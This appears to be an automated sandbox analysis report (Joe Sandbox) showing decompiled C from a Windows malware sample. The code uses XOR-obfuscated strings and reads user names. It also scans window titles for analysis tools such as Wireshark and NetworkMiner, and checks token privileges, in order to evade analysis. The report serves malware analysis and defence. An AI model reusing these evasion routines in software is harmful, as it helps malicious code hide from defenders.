											E0040F1DA( *_t144, __eflags, E0042CF40);
											E0040EE7E(0x450ebc);
											_t577 = _t577 + 8;
										}
									}
									_t294 =  *0x450d47; // 0x0
									__eflags = _t294;
									if(_t294 != 0) {
										 *0x450d40 =  *0x450d40 ^ 0x0000002e;
										 *0x450d41 =  *0x450d41 ^ 0x0000002e;
										 *0x450d42 =  *0x450d42 ^ 0x0000002e;
										 *0x450d43 =  *0x450d43 ^ 0x0000002e;
										 *0x450d44 =  *0x450d44 ^ 0x0000002e;
										 *0x450d45 =  *0x450d45 ^ 0x0000002e;
										 *0x450d46 =  *0x450d46 ^ 0x0000002e;
										_t376 = _t294 ^ 0x0000002e;
										__eflags = _t376;
										 *0x450d47 = _t376;
									}
									_t578 = _t577 - 0x18;
									_t489 = 0x450d40;
									_t542 = _t578;
									_t145 =  &(_t489[1]); // 0x450d41
									_t552 = _t145;
									 *_t542 = 0;
									_t542[4] = 0;
									_t542[5] = 0xf;
									asm("o16 nop [eax+eax]");
									do {
										_t295 =  *_t489;
										_t489 =  &(_t489[1]);
										__eflags = _t295;
									} while (_t295 != 0);
									E004026C0(_t452, _t542, 0x450d40, _t489 - _t552); // executed
									_t297 = E00405350(_t452); // executed
									_t579 =  &(_t578[6]);
									__eflags = _t297;
									if(_t297 != 0) {
										L145:
										_t298 = 1;
										goto L146;
									} else {
										_t300 =  *0x450fa0; // 0x80000011
										_v296 = 0x455d4f7a;
										_v292 = 0x2e5c4943;
										__eflags = _t300 -  *((intOrPtr*)(_t564 + 4));
										if(_t300 >  *((intOrPtr*)(_t564 + 4))) {
											E0040EEC8(_t300, 0x450fa0);
											_t579 =  &(_t579[1]);
											__eflags =  *0x450fa0 - 0xffffffff;
											if(__eflags == 0) {
												_t151 =  &_v296; // 0x455d4f7a
												_t152 =  &_v292; // 0x2e5c4943
												 *0x450f6c =  *_t151;
												 *0x450f70 =  *_t152;
												E0040F1DA( *_t152, __eflags, E0042CF30);
												E0040EE7E(0x450fa0);
												_t579 =  &(_t579[2]);
											}
										}
										_t301 =  *0x450f73; // 0x0
										__eflags = _t301;
										if(_t301 != 0) {
											 *0x450f6c =  *0x450f6c ^ 0x0000002e;
											 *0x450f6d =  *0x450f6d ^ 0x0000002e;
											 *0x450f6e =  *0x450f6e ^ 0x0000002e;
											 *0x450f6f =  *0x450f6f ^ 0x0000002e;
											 *0x450f70 =  *0x450f70 ^ 0x0000002e;
											 *0x450f71 =  *0x450f71 ^ 0x0000002e;
											 *0x450f72 =  *0x450f72 ^ 0x0000002e;
											_t371 = _t301 ^ 0x0000002e;
											__eflags = _t371;
											 *0x450f73 = _t371;
										}
										_t580 = _t579 - 0x18;
										_t496 = 0x450f6c;
										_t542 = _t580;
										_t153 =  &(_t496[1]); // 0x450f6d
										_t554 = _t153;
										 *_t542 = 0;
										_t542[4] = 0;
										_t542[5] = 0xf;
										do {
											_t302 =  *_t496;
											_t496 =  &(_t496[1]);
											__eflags = _t302;
										} while (_t302 != 0);
										_t498 = _t542;
										E004026C0(_t452, _t542, 0x450f6c, _t496 - _t554); // executed
										_t304 = E00405350(_t452); // executed
										_t581 =  &(_t580[6]);
										__eflags = _t304;
										if(_t304 != 0) {
											goto L145;
										} else {
											_t305 =  *0x450f74; // 0x80000012
											_v296 = 0x4b5c4759;
											_v292 = 0x5c4f465d;
											_v288 = 0x2e45;
											__eflags = _t305 -  *((intOrPtr*)(_t564 + 4));
											if(_t305 >  *((intOrPtr*)(_t564 + 4))) {
												E0040EEC8(_t305, 0x450f74);
												_t581 =  &(_t581[1]);
												__eflags =  *0x450f74 - 0xffffffff;
												if(__eflags == 0) {
													asm("movq xmm0, [ebp-0x11c]");
													asm("movq [0x450d60], xmm0");
													 *0x450d68 = _v288;
													E0040F1DA(_t498, __eflags, E0042CF10);
													E0040EE7E(0x450f74);
													_t581 =  &(_t581[2]);
												}
											}
											_t306 =  *0x450d69; // 0x0
											__eflags = _t306;
											if(_t306 != 0) {
												 *0x450d60 =  *0x450d60 ^ 0x0000002e;
												 *0x450d61 =  *0x450d61 ^ 0x0000002e;
												 *0x450d62 =  *0x450d62 ^ 0x0000002e;
												 *0x450d63 =  *0x450d63 ^ 0x0000002e;
												 *0x450d64 =  *0x450d64 ^ 0x0000002e;
												 *0x450d65 =  *0x450d65 ^ 0x0000002e;
												 *0x450d66 =  *0x450d66 ^ 0x0000002e;
												 *0x450d67 =  *0x450d67 ^ 0x0000002e;
												 *0x450d68 =  *0x450d68 ^ 0x0000002e;
												_t366 = _t306 ^ 0x0000002e;
												__eflags = _t366;
												 *0x450d69 = _t366;
											}
											_t582 = _t581 - 0x18;
											_t499 = 0x450d60;
											_t542 = _t582;
											_t161 =  &(_t499[1]); // 0x450d61
											_t555 = _t161;
											 *_t542 = 0;
											_t542[4] = 0;
											_t542[5] = 0xf;
											do {
												_t307 =  *_t499;
												_t499 =  &(_t499[1]);
												__eflags = _t307;
											} while (_t307 != 0);
											E004026C0(_t452, _t542, 0x450d60, _t499 - _t555); // executed
											_t309 = E00405350(_t452); // executed
											_t583 =  &(_t582[6]);
											__eflags = _t309;
											if(_t309 != 0) {
												goto L145;
											} else {
												_t310 = GetForegroundWindow(); // executed
												__eflags = _t310;
												if(_t310 == 0) {
													L144:
													_t298 = 0;
													goto L146;
												} else {
													GetWindowTextA(_t310,  &_v284, 0x100);
													_t312 =  *0x450f9c; // 0x80000013
													_v312 = 0x4d415c7e;
													_v308 = 0xe5d5d4b;
													_v304 = 0x454d4f66;
													_v300 = 0x5c4b;
													__eflags = _t312 -  *((intOrPtr*)(_t564 + 4));
													if(_t312 >  *((intOrPtr*)(_t564 + 4))) {
														E0040EEC8(_t312, 0x450f9c);
														_t583 =  &(_t583[1]);
														__eflags =  *0x450f9c - 0xffffffff;
														if(__eflags == 0) {
															_t170 =  &_v304; // 0x454d4f66
															asm("movq xmm0, [ebp-0x12c]");
															 *0x450f4c =  *_t170;
															_t171 =  &_v300; // 0x5c4b
															asm("movq [0x450f44], xmm0");
															 *0x450f50 =  *_t171;
															 *0x450f52 = 0x2e;
															E0040F1DA( &_v284, __eflags, E0042CEE0);
															E0040EE7E(0x450f9c);
															_t583 =  &(_t583[2]);
														}
													}
													__eflags =  *0x450f52;
													if( *0x450f52 != 0) {
														_t360 = 0;
														__eflags = 0;
														do {
															 *(_t360 + 0x450f44) =  *(_t360 + 0x450f44) ^ 0x0000002e;
															_t360 = _t360 + 1;
															__eflags = _t360 - 0xf;
														} while (_t360 < 0xf);
													}
													_t503 = 0x450f44;
													_v364 = 0;
													_v348 = 0;
													_v344 = 0xf;
													_v364 = 0;
													_t178 = _t503 + 1; // 0x450f45
													_t542 = _t178;
													do {
														_t313 =  *_t503;
														_t503 = _t503 + 1;
														__eflags = _t313;
													} while (_t313 != 0);
													E004026C0(0x2e,  &_v364, 0x450f44, _t503 - _t542);
													_v16 = 0;
													__eflags = _v344 - 0x10;
													_t456 = 1;
													_v292 = 1;
													_t316 =  >=  ? _v364 :  &_v364;
													_t318 = E00410160( &_v284,  >=  ? _v364 :  &_v364);
													_t584 =  &(_t583[2]);
													__eflags = _t318;
													if(_t318 != 0) {
														L131:
														_v313 = 1;
													} else {
														_t347 =  *0x450f40; // 0x80000014
														_v308 = 0x4b5c4779;
														_v304 = 0x5c4f465d;
														_v300 = 0x2e45;
														__eflags = _t347 -  *((intOrPtr*)(_t564 + 4));
														if(_t347 >  *((intOrPtr*)(_t564 + 4))) {
															E0040EEC8(_t347, 0x450f40);
															_t584 = _t584 + 4;
															__eflags =  *0x450f40 - 0xffffffff;
															if(__eflags == 0) {
																asm("movq xmm0, [ebp-0x128]");
																_t190 =  &_v300; // 0x2e45
																asm("movq [0x450fc8], xmm0");
																 *0x450fd0 =  *_t190;
																E0040F1DA( &_v364, __eflags, E0042CEC0);
																E0040EE7E(0x450f40);
																_t584 = _t584 + 8;
															}
														}
														_t348 =  *0x450fd1; // 0x0
														__eflags = _t348;
														if(_t348 != 0) {
															 *0x450fc8 =  *0x450fc8 ^ 0x0000002e;
															 *0x450fc9 =  *0x450fc9 ^ 0x0000002e;
															 *0x450fca =  *0x450fca ^ 0x0000002e;
															 *0x450fcb =  *0x450fcb ^ 0x0000002e;
															 *0x450fcc =  *0x450fcc ^ 0x0000002e;
															 *0x450fcd =  *0x450fcd ^ 0x0000002e;
															 *0x450fce =  *0x450fce ^ 0x0000002e;
															 *0x450fcf =  *0x450fcf ^ 0x0000002e;
															 *0x450fd0 =  *0x450fd0 ^ 0x0000002e;
															_t355 = _t348 ^ 0x0000002e;
															__eflags = _t355;
															 *0x450fd1 = _t355;
														}
														_t512 = 0x450fc8;
														_v340 = 0;
														_v324 = 0;
														_v320 = 0xf;
														_t194 =  &(_t512[1]); // 0x450fc9
														_t542 = _t194;
														do {
															_t349 =  *_t512;
															_t512 =  &(_t512[1]);
															__eflags = _t349;
														} while (_t349 != 0);
														E004026C0(_t456,  &_v340, 0x450fc8, _t512 - _t542);
														__eflags = _v320 - 0x10;
														_t456 = 3;
														_t352 =  >=  ? _v340 :  &_v340;
														_t354 = E00410160( &_v284,  >=  ? _v340 :  &_v340);
														_t584 = _t584 + 8;
														_v313 = 0;
														__eflags = _t354;
														if(_t354 != 0) {
															goto L131;
														}
													}
													__eflags = _t456 & 0x00000002;
													if((_t456 & 0x00000002) == 0) {
														L138:
														__eflags = _t456 & 0x00000001;
														if((_t456 & 0x00000001) == 0) {
															L143:
															__eflags = _v313;
															if(_v313 != 0) {
																goto L145;
															} else {
																goto L144;
															}
															L146:
															 *[fs:0x0] = _v24;
															_pop(_t553);
															_pop(_t565);
															_pop(_t454);
															__eflags = _v28 ^ _t571;
															return E0040EB3F(_t298, _t454, _v28 ^ _t571, _t542, _t553, _t565);
														} else {
															_t542 = _v344;
															__eflags = _t542 - 0x10;
															if(_t542 < 0x10) {
																goto L143;
															} else {
																_t506 = _v364;
																_t542 =  &(_t542[0]);
																_t319 = _t506;
																__eflags = _t542 - 0x1000;
																if(_t542 < 0x1000) {
																	L142:
																	_push(_t542);
																	E0040ED7F(_t506);
																	goto L143;
																} else {
																	_t506 =  *(_t506 - 4);
																	_t542 =  &(_t542[8]);
																	__eflags = _t319 - _t506 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L147;
																	} else {
																		goto L142;
																	}
																}
															}
														}
													} else {
														_t542 = _v320;
														_t456 = _t456 & 0xfffffffd;
														__eflags = _t542 - 0x10;
														if(_t542 < 0x10) {
															L137:
															_v324 = 0;
															_v320 = 0xf;
															_v340 = 0;
															goto L138;
														} else {
															_t511 = _v340;
															_t542 =  &(_t542[0]);
															_t343 = _t511;
															__eflags = _t542 - 0x1000;
															if(_t542 < 0x1000) {
																L136:
																_push(_t542);
																E0040ED7F(_t511);
																_t584 = _t584 + 8;
																goto L137;
															} else {
																_t511 =  *(_t511 - 4);
																_t542 =  &(_t542[8]);
																__eflags = _t343 - _t511 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	L147:
																	E004134A7(_t456, _t542, __eflags);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t571);
																	_t572 = _t584;
																	_t324 =  *0x43d054; // 0x298e9dc2
																	_v792 = _t324 ^ _t572;
																	_v876 = 0;
																	_v872 = 0x500;
																	_t328 = OpenProcessToken(GetCurrentProcess(), 8,  &_v884);
																	__eflags = _t328;
																	if(_t328 == 0) {
																		L151:
																		__eflags = _v20 ^ _t572;
																		return E0040EB3F(0, _t456, _v20 ^ _t572, _t542, _t555, _t564);
																	} else {
																		_t333 = GetTokenInformation(_v112, "true",  &_v96, 0x4c,  &_v108); // executed
																		_push(_v112);
																		__eflags = _t333;
																		if(_t333 != 0) {
																			CloseHandle();
																			_t337 = AllocateAndInitializeSid( &_v104, "true", 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v116);
																			__eflags = _t337;
																			if(_t337 == 0) {
																				goto L151;
																			} else {
																				_t338 = EqualSid(_v96, _v116);
																				FreeSid(_v116);
																				__eflags = _v20 ^ _t572;
																				_t567 = _t564;
																				return E0040EB3F(_t338, _t456, _v20 ^ _t572, _t542, _t555, _t567);
																			}
																		} else {
																			CloseHandle();
																			goto L151;
																		}
																	}
																} else {
																	goto L136;
																}
															}
														}
													}
												}
											}
										}
									}
								} else {
									_t382 = _t550 - _t541;
									__eflags = _t382 - _t452;
									_t457 =  <  ? _t382 : _t452;
									__eflags =  *((intOrPtr*)(_t562 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t562 + 0x14)) >= 0x10) {
										_t562 =  *_t562;
									}
									_t556 = _t550 - _t457;
									 *_v12 = _t556;
									__eflags = _t556 - _t541 + 1;
									_t286 = E00410440(_t562 + _t541, _t562 + _t541 + _t457, _t556 - _t541 + 1);
									goto L87;
								}
							}
						} else {
							goto L12;
						}
					}
				}
				L6:
				_t240 =  *_t459;
				_t459 =  &(_t459[1]);
				if(_t240 != 0) {
					goto L6;
				} else {
					E004026C0(_t447,  &_v348, 0x450f08, _t459 - _t525);
					_t19 =  &_v296; // 0x47434a4f
					_v8 = 1;
					_t548 = GetUserNameA;
					_v296 = 0x101;
					GetUserNameA( &_v288, _t19); // executed
					_t462 =  &_v288;
					_v372 = 0;
					_v356 = 0;
					_t526 = _t462 + 1;
					_v352 = 0xf;
				}
				goto L8;
			}

0x004056a0
0x004056a0
0x004056a3
0x004056a5
0x004056b0
0x004056b1
0x004056b7
0x004056bc
0x004056be
0x004056c1
0x004056c3
0x004056c4
0x004056c8
0x004056ce
0x004056d8
0x004056e2
0x004056ec
0x004056f3
0x00405700
0x0040570a
0x00405713
0x00405715
0x00405720
0x00405727
0x0040572c
0x0040572f
0x00405736
0x00405738
0x0040573e
0x0040574f
0x00405755
0x0040575f
0x00405764
0x00405764
0x00405736
0x00405767
0x0040576e
0x00405770
0x00405777
0x0040577e
0x00405785
0x0040578c
0x00405795
0x00405795
0x0040579a
0x0040579f
0x004057a9
0x004057b3
0x004057bd
0x004057c4
0x004057c4
0x004057c4
0x00405830
0x00405830
0x00405830
0x00405832
0x00405833
0x00405847
0x00405852
0x00405858
0x0040585d
0x00405863
0x00405868
0x00405899
0x00405899
0x0040589d
0x004058a6
0x004058d7
0x004058d9
0x00405e74
0x00405e79
0x00405e81
0x00405e82
0x00405e83
0x00405e91
0x004058df
0x004058df
0x004058e6
0x004058f6
0x004058fd
0x00405902
0x00405905
0x0040590c
0x0040590e
0x00405919
0x0040591e
0x00405924
0x0040592e
0x00405933
0x00405933
0x0040590c
0x00405936
0x0040593d
0x0040593f
0x00405945
0x0040594b
0x00405951
0x00405959
0x00405959
0x0040595e
0x00405963
0x0040596d
0x00405977
0x00405981
0x00405988
0x00405988
0x00405990
0x00405990
0x00405992
0x00405993
0x004059a5
0x004059aa
0x004059b0
0x004059bb
0x004059c6
0x004059c8
0x004059ce
0x004059d8
0x004059e2
0x004059e5
0x004059f0
0x004059f0
0x004059f2
0x004059f3
0x00405a07
0x00405a12
0x00405a18
0x00405a1d
0x00405a23
0x00405a28
0x00405a59
0x00405a59
0x00405a5d
0x00405a66
0x00405a97
0x00405a99
0x00000000
0x00405a9f
0x00405a9f
0x00405aa4
0x00405aae
0x00405ab8
0x00405ac7
0x00405ace
0x00405ad3
0x00405ad6
0x00405add
0x00405adf
0x00405af3
0x00405afb
0x00405b01
0x00405b0b
0x00405b10
0x00405b10
0x00405add
0x00405b13
0x00405b1a
0x00405b1c
0x00405b23
0x00405b2a
0x00405b31
0x00405b38
0x00405b3f
0x00405b46
0x00405b4d
0x00405b54
0x00405b5d
0x00405b5d
0x00405b62
0x00405b67
0x00405b71
0x00405b7b
0x00405b85
0x00405b8c
0x00405b8c
0x00405b90
0x00405b90
0x00405b92
0x00405b93
0x00405ba5
0x00405baa
0x00405bb0
0x00405bbb
0x00405bc6
0x00405bc8
0x00405bce
0x00405bd8
0x00405be2
0x00405be5
0x00405bf0
0x00405bf0
0x00405bf2
0x00405bf3
0x00405c07
0x00405c18
0x00405c1d
0x00405c23
0x00405c28
0x00405c59
0x00405c59
0x00405c5d
0x00405c66
0x00405c97
0x00405c99
0x00000000
0x00405c9f
0x00405c9f
0x00405cb2
0x00405cb8
0x00405cbe
0x00405cc1
0x00405cc1
0x00405cc3
0x00405cc4
0x00405cd8
0x00405ce9
0x00405cee
0x00405cf3
0x00405cf9
0x00405d00
0x00405d0c
0x00405d11
0x00405d16
0x00000000
0x00000000
0x00405d28
0x00405d2d
0x00405d32
0x00405d44
0x00405d49
0x00405d4e
0x00405d60
0x00405d65
0x00405d6a
0x00405d70
0x00405d76
0x00405d80
0x00405d80
0x00405d82
0x00405d83
0x00405d87
0x00405d89
0x00405d8d
0x00405d90
0x00405d9e
0x00405da5
0x00405da8
0x00405da9
0x00405d90
0x00405db9
0x00405dbe
0x00405dc3
0x00405dd1
0x00405dd6
0x00405ddb
0x00405de2
0x00405de4
0x00405df7
0x00405dfd
0x00405e03
0x00405e06
0x00405e06
0x00405e08
0x00405e09
0x00405e1d
0x00405e2e
0x00405e33
0x00405e38
0x00000000
0x00000000
0x00405e38
0x00405ddb
0x00405dc3
0x00405d6a
0x00405d4e
0x00000000
0x00405d32
0x00405d00
0x00405e3e
0x00405e3e
0x00405e47
0x00000000
0x00405e49
0x00405e49
0x00405e4f
0x00405e50
0x00405e58
0x00405e6a
0x00405e6a
0x00405e6c
0x00000000
0x00405e5a
0x00405e5a
0x00405e5d
0x00405e68
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e68
0x00405e58
0x00405e47
0x00405c68
0x00405c68
0x00405c6e
0x00405c6f
0x00405c77
0x00405c8d
0x00405c8d
0x00405c8f
0x00405c94
0x00000000
0x00405c79
0x00405c79
0x00405c7c
0x00405c87
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c87
0x00405c77
0x00405c2a
0x00405c2a
0x00405c30
0x00405c31
0x00405c39
0x00405c4f
0x00405c4f
0x00405c51
0x00405c56
0x00000000
0x00405c3b
0x00405c3b
0x00405c3e
0x00405c49
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c49
0x00405c39
0x00405c28
0x00405a68
0x00405a68
0x00405a6e
0x00405a6f
0x00405a77
0x00405a8d
0x00405a8d
0x00405a8f
0x00405a94
0x00000000
0x00405a79
0x00405a79
0x00405a7c
0x00405a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a87
0x00405a77
0x00405a2a
0x00405a2a
0x00405a30
0x00405a31
0x00405a39
0x00405a4f
0x00405a4f
0x00405a51
0x00405a56
0x00000000
0x00405a3b
0x00405a3b
0x00405a3e
0x00405a49
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a49
0x00405a39
0x00405a28
0x004058a8
0x004058a8
0x004058ae
0x004058af
0x004058b7
0x004058cd
0x004058cd
0x004058cf
0x004058d4
0x00000000
0x004058b9
0x004058b9
0x004058bc
0x004058c7
0x00000000
0x00000000
0x00000000
0x00000000
0x004058c7
0x004058b7
0x0040586a
0x0040586a
0x00405870
0x00405871
0x00405879
0x0040588f
0x0040588f
0x00405891
0x00405896
0x00000000
0x0040587b
0x0040587b
0x0040587e
0x00405889
0x00405e94
0x00405e94
0x00405e99
0x00405e9a
0x00405e9b
0x00405e9c
0x00405e9d
0x00405e9e
0x00405e9f
0x00405ea0
0x00405ea1
0x00405ea3
0x00405ea4
0x00405ea8
0x00405eaa
0x00405eab
0x00405eac
0x00405ead
0x00405eaf
0x00405eb1
0x00405eb1
0x00405eb3
0x00405eb7
0x00405eb9
0x00405eb9
0x00405ebb
0x00405ebe
0x00405ec1
0x00405ec5
0x00405ecb
0x00405ed0
0x00405ed2
0x00405ed5
0x00405ed8
0x00405f0a
0x00405f10
0x00405eda
0x00405eda
0x00405edc
0x00405f11
0x00405f16
0x00405f17
0x00405f18
0x00405f19
0x00405f1a
0x00405f1b
0x00405f1c
0x00405f1d
0x00405f1e
0x00405f1f
0x00405f20
0x00405f21
0x00405f22
0x00405f23
0x00405f24
0x00405f25
0x00405f26
0x00405f27
0x00405f28
0x00405f29
0x00405f2a
0x00405f2b
0x00405f2c
0x00405f2d
0x00405f2e
0x00405f2f
0x00405f30
0x00405f31
0x00405f32
0x00405f33
0x00405f34
0x00405f35
0x00405f36
0x00405f37
0x00405f38
0x00405f39
0x00405f3a
0x00405f3b
0x00405f3c
0x00405f3d
0x00405f3e
0x00405f3f
0x00405f40
0x00405f41
0x00405f43
0x00405f45
0x00405f50
0x00405f51
0x00405f57
0x00405f5c
0x00405f5e
0x00405f61
0x00405f62
0x00405f63
0x00405f64
0x00405f68
0x00405f6e
0x00405f7e
0x00405f88
0x00405f92
0x00405f94
0x00405f99
0x00405f9f
0x00405fa6
0x00405fab
0x00405fae
0x00405fb5
0x00405fb7
0x00405fbd
0x00405fc8
0x00405fcd
0x00405fd3
0x00405fe0
0x00405fe5
0x00405fe5
0x00405fb5
0x00405fe8
0x00405fed
0x00405fef
0x00405ff1
0x00405ff8
0x00405fff
0x00406006
0x0040600d
0x00406014
0x0040601b
0x00406022
0x00406022
0x00406024
0x00406024
0x00406029
0x0040602c
0x00406031
0x00406033
0x00406033
0x00406036
0x0040603c
0x00406043
0x0040604a
0x00406050
0x00406050
0x00406052
0x00406053
0x00406053
0x00406061
0x00406066
0x0040606b
0x0040606e
0x00406070
0x004065ae
0x004065ae
0x00000000
0x00406076
0x00406076
0x0040607b
0x00406085
0x0040608f
0x00406095
0x0040609c
0x004060a1
0x004060a4
0x004060ab
0x004060ad
0x004060b3
0x004060be
0x004060c3
0x004060c9
0x004060d6
0x004060db
0x004060db
0x004060ab
0x004060de
0x004060e3
0x004060e5
0x004060e7
0x004060ee
0x004060f5
0x004060fc
0x00406103
0x0040610a
0x00406111
0x00406118
0x00406118
0x0040611a
0x0040611a
0x0040611f
0x00406122
0x00406127
0x00406129
0x00406129
0x0040612c
0x00406132
0x00406139
0x00406140
0x00406140
0x00406142
0x00406143
0x00406143
0x0040614f
0x00406151
0x00406156
0x0040615b
0x0040615e
0x00406160
0x00000000
0x00406166
0x00406166
0x0040616b
0x00406175
0x0040617f
0x00406188
0x0040618e
0x00406195
0x0040619a
0x0040619d
0x004061a4
0x004061a6
0x004061ba
0x004061c2
0x004061c8
0x004061d5
0x004061da
0x004061da
0x004061a4
0x004061dd
0x004061e2
0x004061e4
0x004061e6
0x004061ed
0x004061f4
0x004061fb
0x00406202
0x00406209
0x00406210
0x00406217
0x0040621e
0x00406225
0x00406225
0x00406227
0x00406227
0x0040622c
0x0040622f
0x00406234
0x00406236
0x00406236
0x00406239
0x0040623f
0x00406246
0x00406250
0x00406250
0x00406252
0x00406253
0x00406253
0x00406261
0x00406266
0x0040626b
0x0040626e
0x00406270
0x00000000
0x00406276
0x00406276
0x0040627c
0x0040627e
0x004065aa
0x004065aa
0x00000000
0x00406284
0x00406291
0x00406297
0x0040629e
0x004062a8
0x004062b2
0x004062bc
0x004062c5
0x004062cb
0x004062d2
0x004062d7
0x004062da
0x004062e1
0x004062e3
0x004062e9
0x004062f1
0x004062f6
0x00406302
0x0040630a
0x00406310
0x00406316
0x00406323
0x00406328
0x00406328
0x004062e1
0x0040632b
0x00406332
0x00406334
0x00406334
0x00406336
0x00406336
0x0040633c
0x0040633d
0x0040633d
0x00406336
0x00406342
0x00406347
0x00406351
0x0040635b
0x00406365
0x0040636c
0x0040636c
0x00406370
0x00406370
0x00406372
0x00406373
0x00406373
0x00406385
0x0040638a
0x00406397
0x0040639e
0x004063a3
0x004063a9
0x004063b8
0x004063bd
0x004063c0
0x004063c2
0x00406502
0x00406502
0x004063c8
0x004063c8
0x004063cd
0x004063d7
0x004063e1
0x004063ea
0x004063f0
0x004063f7
0x004063fc
0x004063ff
0x00406406
0x00406408
0x00406410
0x0040641c
0x00406424
0x0040642a
0x00406437
0x0040643c
0x0040643c
0x00406406
0x0040643f
0x00406444
0x00406446
0x00406448
0x0040644f
0x00406456
0x0040645d
0x00406464
0x0040646b
0x00406472
0x00406479
0x00406480
0x00406487
0x00406487
0x00406489
0x00406489
0x0040648e
0x00406493
0x0040649d
0x004064a7
0x004064b1
0x004064b1
0x004064b4
0x004064b4
0x004064b6
0x004064b7
0x004064b7
0x004064c9
0x004064ce
0x004064db
0x004064e0
0x004064ef
0x004064f4
0x004064f7
0x004064fe
0x00406500
0x00000000
0x00000000
0x00406500
0x00406509
0x0040650c
0x00406566
0x00406566
0x00406569
0x004065a1
0x004065a1
0x004065a8
0x00000000
0x00000000
0x00000000
0x00000000
0x004065b0
0x004065b3
0x004065bb
0x004065bc
0x004065bd
0x004065c1
0x004065cb
0x0040656b
0x0040656b
0x00406571
0x00406574
0x00000000
0x00406576
0x00406576
0x0040657c
0x0040657d
0x0040657f
0x00406585
0x00406597
0x00406597
0x00406599
0x00000000
0x00406587
0x00406587
0x0040658a
0x00406592
0x00406595
0x00000000
0x00000000
0x00000000
0x00000000
0x00406595
0x00406585
0x00406574
0x0040650e
0x0040650e
0x00406514
0x00406517
0x0040651a
0x0040654b
0x0040654b
0x00406555
0x0040655f
0x00000000
0x0040651c
0x0040651c
0x00406522
0x00406523
0x00406525
0x0040652b
0x00406541
0x00406541
0x00406543
0x00406548
0x00000000
0x0040652d
0x0040652d
0x00406530
0x00406538
0x0040653b
0x004065cc
0x004065cc
0x004065d1
0x004065d2
0x004065d3
0x004065d4
0x004065d5
0x004065d6
0x004065d7
0x004065d8
0x004065d9
0x004065da
0x004065db
0x004065dc
0x004065dd
0x004065de
0x004065df
0x004065e0
0x004065e1
0x004065e6
0x004065ed
0x004065f3
0x004065fd
0x0040660a
0x00406610
0x00406612
0x00406636
0x0040663b
0x00406645
0x00406614
0x00406623
0x00406629
0x0040662c
0x0040662e
0x00406646
0x00406666
0x0040666c
0x0040666e
0x00000000
0x00406670
0x00406677
0x00406682
0x0040668d
0x0040668f
0x00406698
0x00406698
0x00406630
0x00406630
0x00000000
0x00406630
0x0040662e
0x00000000
0x00000000
0x00000000
0x0040653b
0x0040652b
0x0040651a
0x0040650c
0x0040627e
0x00406270
0x00406160
0x00405ede
0x00405ee0
0x00405ee2
0x00405ee4
0x00405ee7
0x00405eeb
0x00405eed
0x00405eed
0x00405ef5
0x00405ef7
0x00405efb
0x00405f02
0x00000000
0x00405f07
0x00405edc
0x00000000
0x00000000
0x00000000
0x00405889
0x00405879
0x004057c7
0x004057c7
0x004057c9
0x004057cc
0x00000000
0x004057ce
0x004057dc
0x004057e1
0x004057e7
0x004057eb
0x004057f8
0x00405803
0x00405805
0x0040580b
0x00405815
0x0040581f
0x00405822
0x00405822
0x00000000

APIs

__Init_thread_footer.LIBCMT ref: 0040575F

Part of subcall function 0040EE7E: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EE88
Part of subcall function 0040EE7E: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F40,?,?,00450F44,00450F45), ref: 0040EEBB
Part of subcall function 0040EE7E: RtlWakeAllConditionVariable.NTDLL ref: 0040EF32

__Init_thread_footer.LIBCMT ref: 0040592E
GetUserNameA.ADVAPI32(?,}FOF@.), ref: 004059C6
GetUserNameA.ADVAPI32(?,OJCG@.), ref: 00405803

Part of subcall function 0040EEC8: EnterCriticalSection.KERNEL32(004504FC,00450D61,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EED3
Part of subcall function 0040EEC8: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F40,00450F44,00450F45), ref: 0040EF10

__Init_thread_footer.LIBCMT ref: 00405B0B
GetUserNameA.ADVAPI32(?,lK@MF.), ref: 00405BC6
GetForegroundWindow.USER32(?,?), ref: 00405C9F
GetWindowTextA.USER32 ref: 00405CB2
Sleep.KERNEL32(00000258), ref: 00405DE2
GetForegroundWindow.USER32 ref: 00405DE4
GetWindowTextA.USER32 ref: 00405DF7

Strings

dbg, xrefs: 00405DB3
OJCG@., xrefs: 00405738
HTTP Analyzer, xrefs: 00405D22
Wireshark, xrefs: 00405D3E
Far , xrefs: 00405CE3, 00405E28
roxifier, xrefs: 00405D06
NetworkMiner, xrefs: 00405D5A
debug, xrefs: 00405DCB
ZK]Z, xrefs: 00405AA4

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CriticalSectionWindow$Init_thread_footerNameUser$EnterForegroundLeaveText$ConditionSleepVariableWake
String ID: Far $HTTP Analyzer$NetworkMiner$OJCG@.$Wireshark$ZK]Z$dbg$debug$roxifier
API String ID: 3399126515-619935782
Opcode ID: e81aba006f93a7dde4f366857370b7f543270ab0442f7a5a63ef08b9e01195eb
Instruction ID: 00bc03c8be44a200bf8c7c036dcd579c5d236b3a798ad5d2a4514fdefae62dcd
Opcode Fuzzy Hash: e81aba006f93a7dde4f366857370b7f543270ab0442f7a5a63ef08b9e01195eb
Instruction Fuzzy Hash: 26123571900288DADB29DB24DC49BEB7774EB06309F1041FAD448A72D2DB799E89CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00402F20 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 504
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00402F20(signed int* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v40;
				char _v44;
